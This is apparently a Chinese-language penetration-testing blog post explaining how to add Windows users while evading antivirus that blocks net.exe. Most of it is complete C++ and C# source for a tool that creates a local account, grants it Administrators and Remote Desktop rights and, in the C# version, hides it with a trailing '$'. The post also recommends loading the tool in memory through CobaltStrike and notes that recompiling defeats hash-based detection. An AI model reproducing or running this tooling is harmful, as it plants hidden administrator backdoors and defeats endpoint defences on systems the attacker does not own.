Bypass AV添加用户

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

项目地址:UserAdd

前言

在渗透测试过程中,有时会登录远程桌面等服务进行横向,但需要知道 Windows 账户口令 (不考虑 hash 传递场景),而直接通过net.exe进行添加用户,往往会被安全软件直接阻断拦截,这就需要调用 Windows API ,进行 Bypass AV。

安全阻断

安全软件的阻断,实际就是对net.exe的调用进行了监控 (正常运维人员很少使用该命令),所以在Webshell或远控上添加账号,往往就会被阻止操作,账号就会添加失败。

img

命令行添加/删除/修改账户,在火绒中属于敏感动作防护规则。

img

img

Bypass AV

C++

  1. 调用NetUserAdd添加本地用户
  2. 调用NetLocalGroupAddMembers将用户添加到组
1
2
3
4
5
6
7
8
9
10
11
12
NET_API_STATUS NET_API_FUNCTION NetUserAdd(
[in] LPCWSTR servername,
[in] DWORD level,
[in] LPBYTE buf,
[out] LPDWORD parm_err
);

NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMember(
LPCWSTR servername,
LPCWSTR groupname,
PSID membersid
);

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h>
#include <lm.h>

int wmain(int argc, wchar_t* argv[])
{
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;

if (argc != 3)
{

fwprintf(stderr, L"Usage:UserAdd.exe <username> <password>\n", argv[0]);
exit(1);
}

ui.usri1_name = argv[1];
ui.usri1_password = argv[2];
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;

nStatus = NetUserAdd(NULL,
dwLevel,
(LPBYTE)&ui,
&dwError);

if (nStatus == NERR_Success)
fwprintf(stderr, L"User %s has been successfully added\n",argv[1]);

else
fprintf(stderr, "A system error has occurred: %d\n", nStatus);

LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = argv[1];

NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);

if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS){
printf("Administrators added Successfully!");
}
else {
printf("Administrators added Failed!");
}
return 0;
}

效果测试

img

C#

调用DirectoryServices添加本地用户,同时可以删除用户、添加用户组。

个人更倾向于C#的版本:

  1. 代码简洁
  2. 便于 CobaltStrike 内存加载运行
1
public class DirectoryEntries : System.Collections.IEnumerable

完整代码

在 Visual Studio 中需要添加对程序集System.DirectoryServices.dll的引用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
using System;
using System.DirectoryServices;

// Reference:https://docs.microsoft.com/zh-cn/troubleshoot/dotnet/csharp/add-user-local-system

namespace UserAdd
{
class Class1
{
static void Main(string[] args)
{
if (args.Length != 1)
{
Console.WriteLine("[!] The default is 10 bits random password");
Console.WriteLine("Usage: UserAdd.exe <username>");
}
else
{
string user = args[0];
string username = user + "$";
//10位随机密码
string chars = "!@#$%0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
Random randrom = new Random((int)DateTime.Now.Ticks);
string password = "";
for (int i = 0; i < 10; i++)
{
password += chars[randrom.Next(chars.Length)];
}
try
{
DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");
DirectoryEntry NewUser = AD.Children.Add(username, "user");
NewUser.Invoke("SetPassword", new object[] { password });
//NewUser.Invoke("Put", new object[] { "Description", "Test User from .NET" });
NewUser.CommitChanges();
DirectoryEntry grp;

grp = AD.Children.Find("Administrators", "group");
if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); }
grp = AD.Children.Find("Remote Desktop Users", "group");
if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); }
Console.WriteLine("[*] Account Created Successfully");
Console.WriteLine($"[+] Username: {username}\n[+] Password: {password}");
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}

}
}
}
}

之前在 github 发布过编译好的版本,但已经被火绒标记了 HackTool ,实际只检验了MD5,重新编译即可。
img

效果测试

img

Reference